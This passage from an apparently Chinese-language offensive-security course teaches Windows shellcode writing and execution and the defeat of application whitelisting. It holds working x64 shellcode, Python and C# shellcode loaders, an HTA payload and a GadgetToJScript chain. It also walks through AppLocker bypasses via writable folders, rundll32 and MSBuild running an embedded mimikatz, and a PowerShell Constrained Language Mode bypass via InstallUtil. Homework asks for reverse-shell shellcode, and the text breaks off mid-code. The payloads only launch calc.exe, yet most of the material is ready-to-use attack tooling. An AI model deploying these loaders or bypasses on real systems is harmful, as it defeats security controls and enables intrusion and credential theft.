"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值，即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址
"   mov r9, [rsi];"    # 当前为python.exe
"   mov r9, [r9];"    # 当前为ntdll.dll
"   mov r9, [r9+0x20];"    # 当前为kernel32.dll
"   jmp call_winexec;"   

"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址，获取NT头偏移
"   xor r15, r15;"  
"   mov r15b, 0x88;"
"   add r15, r9;"
"   add r15, rcx;"
"   mov r15d, dword ptr [r15];"      # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量，作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0，那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等，搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
"   add rax, r9;"     # RAX保存着函数VMA
"   ret;" 
"not_found:"
"   ret;" 


"call_winexec:"
"    mov r8d, 0xe8afe98;"     # WinExec的哈希
"    call parse_module;"     # 搜索并获得WinExec的函数地址
"    xor rcx, rcx;"
"    push rcx;"
"    mov rcx, 0x6578652e636c6163;"	# exe.clac
"    push rcx;"
"    lea rcx, [rsp];"
"    xor rdx,rdx;"
"    inc rdx;"
"    sub rsp, 0x28;"
"    call rax;"     # 调用WSAStartup

)



ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

```

我们的计算器 Shellcode 只有 **169** 字节，不存在 0x00 字节，而且是**位置独立**的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/lw2fBBncppRI49R8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/lw2fBBncppRI49R8-image.png)

MSF 生成的剔除了 0x00 的 Shellcode 有 **319** 字节。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/VjJasCYVBp5zSawE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/VjJasCYVBp5zSawE-image.png)

**exploit-db** 上同样功能的 Shellcode 也有 **205** 字节。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/KSE1FKYk5o2LJxga-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/KSE1FKYk5o2LJxga-image.png)

# 第14章课后作业

##### **练习**

1：分析 OpenProcess 的调用链

2：使用 C++ 调用 CreateProcess API，运行 calc.exe 程序

3：使用 P/Invoke 通过序数调用 OpenProcess，运行 calc.exe 程序

4：使用 D/Invoke 调用 OpenProcess，运行 calc.exe 程序

5：D/Invoke 还有其他方式获得对模块以及 API 的句柄，例如通过方法 **GetPebLdrModuleEntry** 来获得对 DLL 的句柄。请查看 D/Invoke 的仓库 README 文档并分别进行尝试

6：查阅资料，分别在 VBA 以及 PowerShell 中调用 OpenProcess，运行 calc.exe 程序

7：在 .NET 中，执行 Shellcode 的经典方式为使用 **VirtualAlloc** 分配内存空间、使用 **Marshal.Copy** 写入 Shellcode，使用 **CreateThread** 创建线程，以及使用 **WaitForSingleObject** 来等待线程的结束。根据描述以及 API 的文档写出 C# 代码，分别使用 P/Invoke 以及 D/Invoke。

8：用 PE Bear 分析 **ws2\_32.dll** 各项重要属性

9：为什么在 **calc\_dllmain()** 中的 CreateThread 函数下面调用 **WaitForSingleObject** 会导致死锁？

10：使用 C# 的 **P/Invoke** 与 **D/Invoke** 分别获得 **explorer.exe** 的进程句柄，并获得相关进程信息，例如 **PID**、**命令行参数**等。

11：请用**二进制形式**写出下列数字的**负数**：133，4869，51203

12：下述代码片段中，RAX 中保存着函数 **LoadLibraryA** 的地址，该函数只需要 1 个参数，**DLL 名称**，假设该参数值为 **ws2\_32.dll**，请填写空白部分缺失的代码：

```
mov rsi, 0x6c6c;
________;
mov rsi, ________;
push rsi;
________;
sub rsp, ____;
call rax;
________;
```

13：使用 WinDBG 解析 ws2\_32.dll，不借助 PE Bear 等工具的提示，完整地完成对关键属性的数值提取，例如 IAT 表的 RVA

14：根据所学知识，编写弹出 calc.exe 程序的 Shellcode，分别用 **WinExec** 或者 **CreateProcessA**。

15：根据所学知识，完成正向 Shell 的 Shellcode

16：根据所学知识，以及研究 x86 与 x64 调用约定的差异，完整 x86 版的逆向 Shell 的 Shellcode

# 面试专题

# 章节15：安全控制突破与防御规避



# 应用程序白名单

无论是试图获得初始 Beacon 会话，还是对目标用户与主机进行后渗透操作，应用程序白名单作为一项安全控制机制，会阻止我们的行动。接下来，我们来探讨 AppLocker 的概念，与其绕过技术。

#####   


### **AppLocker**

AppLocker 是 Microsoft 的应用程序白名单技术，自 Windows 7 开始引入。AppLocker 可以限制允许在系统上运行的**可执行文件**、**脚本**、**安装包**、**打包程序**以及 **dll**，并且可以配置**启用**或**仅审计**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/xa6VTViWr7NHj04W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/xa6VTViWr7NHj04W-image.png)

如果一个类别被启用了，那么该类别的规则会被适用，每个类别都有各自的默认规则。默认规则下对于 exe 文件而言，任何在 **Program Files**文件夹下的可执行文件不受影响，**Windows** 文件夹下的可执行文件不受影响，以及**管理员用户 (提升特权)**不受影响。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6hljIgHzjF2wUw9Z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6hljIgHzjF2wUw9Z-image.png)

此外，我们还可以添加**自定义规则**，以及**基于拒绝**的规则，也就是不允许特定应用被执行。基于拒绝的规则可用于覆盖基于允许的规则，这些规则通常用于阻止 **LOLBAS**，例如 **MSBuild.exe**。

我们在 File01 上查看现有的 exe 规则：

```powershell
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe\
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/tUNbL58iYbob0rDB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/tUNbL58iYbob0rDB-image.png)

以及现有的脚本规则：

```powershell
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Script\
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ylLG8VCZOJsJafhy-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ylLG8VCZOJsJafhy-image.png)

### **绕过AppLocker**

##### **利用脆弱规则**

如果管理员采用了默认的 AppLocker 规则，那么我们可以轻易地绕过 AppLocker。对于可执行文件的分类，默认规则允许 **C:\\Windows** 目录下的文件被执行。在默认的文件权限下，例如 **C:\\Windows\\Tasks**，**C:\\Windows\\Temp** 目录是所有用户可写的。更加完整的列表如下：

```
c:\windows\system32\microsoft\crypto\rsa\machinekeys
c:\windows\system32\tasks_migrated\microsoft\windows\pla\system
c:\windows\syswow64\tasks\microsoft\windows\pla\system
c:\windows\debug\wia
c:\windows\system32\tasks
c:\windows\syswow64\tasks
c:\windows\tasks
c:\windows\registration\crmlog
c:\windows\system32\com\dmp
c:\windows\system32\fxstmp
c:\windows\system32\spool\drivers\color
c:\windows\system32\spool\printers
c:\windows\system32\spool\servers
c:\windows\syswow64\com\dmp
c:\windows\syswow64\fxstmp
c:\windows\temp
c:\windows\tracing
```

将计算器程序复制到用户目录下，用户目录不在默认规则的白名单中，因此应用的执行会被 AppLocker 阻止。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/NtwXM6NbRLPhHoKA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/NtwXM6NbRLPhHoKA-image.png)

但当我们将程序复制到一可写的白名单中，便绕过了 AppLocker 的限制。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/3V3qURkyZTER0GGg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/3V3qURkyZTER0GGg-image.png)

##### **执行 DLL 载荷** 

AppLocker 中 DLL 分类在**高级**页面，因为配置基于 DLL 分类的规则需要更加仔细与慎重，否则会**影响系统性能**以及**遭遇异常**。因此，DLL 分类往往不会被配置。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6jLm7qZXXqSKqFK1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6jLm7qZXXqSKqFK1-image.png)

这时候，我们可以编译或生成一个 DLL 载荷，然后通过 **rundll32** 二进制来执行。下述代码是通过 DLL 来调用 **MessageBoxA** API。

```c++
#include "pch.h"
#include "windows.h"
#include "stdlib.h"
#include <stdio.h>



extern "C" __declspec(dllexport) void msg_export()
{
    MessageBoxA(NULL, "From export function", "Message", MB_OK);
}


void msg_dllmain()
{
    MessageBoxA(NULL, "From DllMain", "Message", MB_OK);
}


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        msg_dllmain();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

导出函数 msg\_calc 可被外部调用，自然可以绕过 AppLocker。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/13zMfBv0Kaj2ZXDX-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/13zMfBv0Kaj2ZXDX-image.png)

##### **第三方执行**

AppLocker 仅适用于**原生 Windows 可执行文件类型**，对于 **Python**，**Java** 等第三方脚本引擎或者高级语言执行环境，没有控制效果。例如，我们可以使用 Python 类型的后利用工具进行操作。例如 Python 工具 pypykatz 实现了 Mimikatz 中的绝大多数功能，Impacket 系列工具更是在 AD 攻击与利用中彰显强大功能。

File01 上安装了 Python 语言，并且所有用户都可以运行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/TXTkzufg5kOtrZNu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/TXTkzufg5kOtrZNu-image.png)

以下述的 Shellcode 运行器为例，Shellcode 内容为弹出 calc.exe 程序。

```python
import ctypes, struct


shellcode =     b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51"
shellcode +=    b"\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
shellcode +=    b"\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72"
shellcode +=    b"\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0"
shellcode +=    b"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
shellcode +=    b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
shellcode +=    b"\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
shellcode +=    b"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
shellcode +=    b"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
shellcode +=    b"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
shellcode +=    b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1"
shellcode +=    b"\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44"
shellcode +=    b"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode +=    b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
shellcode +=    b"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
shellcode +=    b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
shellcode +=    b"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48"
shellcode +=    b"\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d"
shellcode +=    b"\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5"
shellcode +=    b"\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
shellcode +=    b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode +=    b"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89"
shellcode +=    b"\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

shellcode=bytearray(shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
```

在 File01 上以 john 用户运行该 Shellcode 运行器脚本，计算器成功弹出，整个过程并没有收到 AppLocker 影响。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BRUYh7Lr9gbHM72B-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BRUYh7Lr9gbHM72B-image.png)

#####   


##### **HTA**

hta 也是客户端攻击中常用的载荷类型，hta 文件的内容与 html 无异，只是默认由 **C:\\Windows\\System32\\mshta.exe** 执行。因为 mshta.exe 是微软签名的应用程序，因此不受 AppLocker 限制。我们可以将自定义的 **JScript 代码**嵌入到hta文件中，以绕过AppLocker。

能运行 calc.exe 程序的简易 hta 载荷如下：

```html
<html> 
<head> 
<script language="JScript">
	var shell = new ActiveXObject("WScript.Shell");
	var res = shell.Run("calc.exe");
</script>
</head> 
<body>
<script language="JScript">
	self.close();
</script>
</body> 
</html>
```

但我们还能获得更多的自由度。**GadgetToJScript** ([https://github.com/med0x2e/GadgetToJScript](https://github.com/med0x2e/GadgetToJScript)) 是一款能生成**序列化的 .NET gadget**，当使用 **BinaryFormatter** 从 **JS/VBS/VBA** 脚本进行反序列化时，可以触发 **.NET** 组件的加载或执行。这些 gadget 组件的输出可用于 **Office 的宏载荷**，以及我们当前讨论的 **hta 载荷**。

编辑 **TestAssembly** 项目的 **Program.cs** 文件，弹出计算器的 Shellcode 运行器参考代码如下：

```c#
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace TestAssembly{
    public class Program{

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public Program(){
            byte[] buf = new byte[] {   
            0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
            0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
            0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
            0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
            0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
            0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
            0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
            0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
            0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
            0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
            0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
            0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
            0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
            0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
            0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
            0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
            0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
            0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
            0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
            0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
            0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
            0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
            0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00};
            int size = buf.Length;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Marshal.Copy(buf, 0, addr, size);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

```

编译 **GadgetToJScript** 以及 **TestAssembly**，然后运行 GadgetToJScript.exe 根据 TestAssembly.dll 以及其他选项生成 hta 载荷。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/MBS05ICMNNe7XG0R-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/MBS05ICMNNe7XG0R-image.png)

最终，我们可以通过 mshta 绕过 AppLocker 实现任意代码执行。因为在 C# 中我们可以自由调用 API，因此十分灵活。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/XyZ3s7GURVlkKqht-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/XyZ3s7GURVlkKqht-image.png)

##### **LOLBAS**

LOLBAS，即 **Live Off The Land Binaries, Scripts and Libraries** ([https://lolbas-project.github.io/](https://lolbas-project.github.io/))，是系统内置的可以为我们所用的**二进制文件**、**脚本**、**库**。LOLBAS 的优势在于，因为被微软签名，所以不会被 AppLocker 限制，用于其他方面也可以降低被检测的概率。为了突破 AppLocker，我们使用 **MSBuild.exe**。该文件用于**编译 .NET 工程文件**，但实际上还有更多用途，例如**执行 PowerShell 命令**，**注入 shellcode**，甚至**执行 PE 文件**。我们以 mimikatz.exe 为例，从 [https://gist.githubusercontent.com/xenoscr/aba102e5f83d3be26b1fe50b15f35c49/raw/04d7da8a72b00fb08e4c5bbd713a041ea2567443/Katz.Proj](https://gist.githubusercontent.com/xenoscr/aba102e5f83d3be26b1fe50b15f35c49/raw/04d7da8a72b00fb08e4c5bbd713a041ea2567443/Katz.Proj) 下载嵌入了 mimikatz.exe 的工程文件，然后用 MSBuild.exe 在 AppLocker 原本限制的文件夹下编译该工程文件，我们会发现可以成功运行 mimikatz。因为工程文件中可以插入 C# 代码，所以 MSBuild.exe 可以在AppLocker 存在的情况下也能很大程度满足我们对后利用操作的需要。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/1q143hvjYfvJF2RH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/1q143hvjYfvJF2RH-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/vBQMPaJ2I99tkrj1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/vBQMPaJ2I99tkrj1-image.png)

其实该工程文件中的 C# 代码实现了**反射式加载** (在内存中加载非托管 DLL 甚至 EXE 文件，该话题我会之后补充)，只不过将 mimikatz.exe 程序以 Base64 字符串的形式嵌入在文件中，而不是从远程服务器上拉取，或者从磁盘中读取。


### **WDAC**

Windows Defender 应用程序控制，即 WDAC，从 Windows 10 开始引入。其作用类似于 AppLocker，但有一些关键区别，其中最重要的是微软承认 WDAC 是官方的安全边界。这意味着 WDAC 更加强大，如果发现绕过 WDAC 的方法，可以获得 CVE 编号。

WDAC 可配置的规则如下：

```
用于签署应用程序及其二进制文件的协同签名证书的属性
来自文件签名元数据的应用程序二进制文件的属性，例如原始文件名和版本，或文件的哈希值
应用程序的声誉由
启动应用程序及其二进制文件安装的进程标识（托管安装程序）
启动应用程序或文件的路径
启动应用程序或二进制文件的进程
```

从根本上绕过 WDAC 是不存在的，但我们可以寻找**配置和策略上的漏洞**，以及**对 LOLBAS 的利用**，我们可以在 [https://github.com/bohops/UltimateWDACBypassList](https://github.com/bohops/UltimateWDACBypassList) 查看可能导致 WDAC 绕过的手册。

</body></html>

# 新页面



# 约束语言模式

### **背景**

**约束语言模式**，即 CLM，是 AppLocker 中的一种，如果我们对脚本类型文件启用了 AppLocker 规则，那么在运行 PowerShell 的时候便是约束语言模式。当 CLM 被启用的话，一些脚本语言例如 Powershell 的使用会被限制，只有白名单里的脚本才不会被影响。CLM 带来最直接的影响就是限制了对 **.NET 框架**的调用、执行 **C#** 代码以及**反射**。我们可以通过如下 Powershell 命令检查 PowerShell 语言的状态：

```powershell
$ExecutionContext.SessionState.LanguageMode 
```

在 File01 上，非提升特权的 PowerShell 会话下，CLM 是启用的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/9CjxpE34cyGgkHuT-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/9CjxpE34cyGgkHuT-image.png)

CLM 大幅度限制了 PowerShell 命令的使用，如果我们想导入或者执行我们常用的脚本工具，例如 adpeas.ps1，那么我们会看到如下的报错。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/W1YNHodD6qnPe97r-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/W1YNHodD6qnPe97r-image.png)

对于 CLM 的绕过，我们依旧可以借助于**默认规则**或者**脆弱配置的自定义规则**下的白名单文件夹，从而执行白名单文件夹中的脚本，但是我们依旧不能导入模块。如图所示，我们可以在白名单文件夹 C:\\Windows\\Tasks 下运行端口扫描的脚本工具

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/uyNq80hTeEfp3AaN-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/uyNq80hTeEfp3AaN-image.png)

但导入脚本模块是不可以的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/hJ9sIgw4GAl3xzOg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/hJ9sIgw4GAl3xzOg-image.png)

接下来，我们来探讨 PowerShell CLM 的绕过。

### **自定义运行空间**

PowerShell 的功能实际上位于 **System.Management.Automation.dll** 这个托管 DLL 文件之中，而 powershell.exe 只是个用于处理输入输出的 GUI 程序。因此，我们可以通过编程手段实现自定义的 powershell 运行空间。

创建一个 C# 项目，添加 **C:\\Windows\\assembly\\GAC\_MSIL\\System.Management.Automation\\1.0.0.0\_\_31bf3856ad364e3 5\\System.Management.Automation.dll** 引用，以及 **System.Configuration.Install** 。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/oZCTXRu8dFWDH6RZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/oZCTXRu8dFWDH6RZ-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/yitdBPvaT1zQ4ocJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/yitdBPvaT1zQ4ocJ-image.png)

创建自定义 PowerShell 运行空间并执行命令的代码如下

```
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace clm
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Not in Main");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            String cmd = "$ExecutionContext.SessionState.LanguageMode  | Out-File -FilePath C:\\windows\\tasks\\output.txt";
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();
            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;
            ps.AddScript(cmd);
            ps.Invoke();
            rs.Close();
        }
    }
}
```

这里我们要重载了 **Uninstall** 方法，为什么不是在 Main 函数里执行代码，或者重载 Install 方法呢？至于不在 Main 函数里执行，虽然这样我们突破了 CLM，但生成的 exe 本身可能也会被 AppLocker 所阻止运行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/gN7p4bHBIeeIaa2Z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/gN7p4bHBIeeIaa2Z-image.png)

而 Install 需要管理员特权。为了能让 Uninstall 方法里的代码得以运行，我们需要利用 LOLBAS 中的 **InstallUtil.exe** 去运行该 exe。最终命令如下：

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\users\public\clm.exe 
```

我们不能够给该代码提供参数，所以我们在包含命令的字符串里预定义好要执行的 powershell 脚本块。因为该过程不产生输出，我们借助文本来存储输出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/BlIKdFTI8SHxgkSR-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/BlIKdFTI8SHxgkSR-image.png)

### **补丁 GetSystemLockdownPolicy**

虽然可以通过自定义运行空间以 FullLanguage 模式执行脚本块，但并不能提供交互式的会话。通过补丁 GetSystemLockdownPolicy 可以生成交互式的 FullLanguage 模式的 PowerShell 会话。

该过程如下：

1：通过反射式加载，获得定义了 **System.Management.Automation.Alignment** 类型的组件，其中 System.Management.Automation 是 PowerShell 的根命名空间，而 **Alignment** 是定义在该命名空间的类型。

然后获得 GetSystemLockdownPolicy 方法的 MethodInfo 对象。该方法用于获取当前系统的 lockdown 策略。接着，获得该方法的句柄。

```c#
Assembly assem = typeof(System.Management.Automation.Alignment).Assembly;
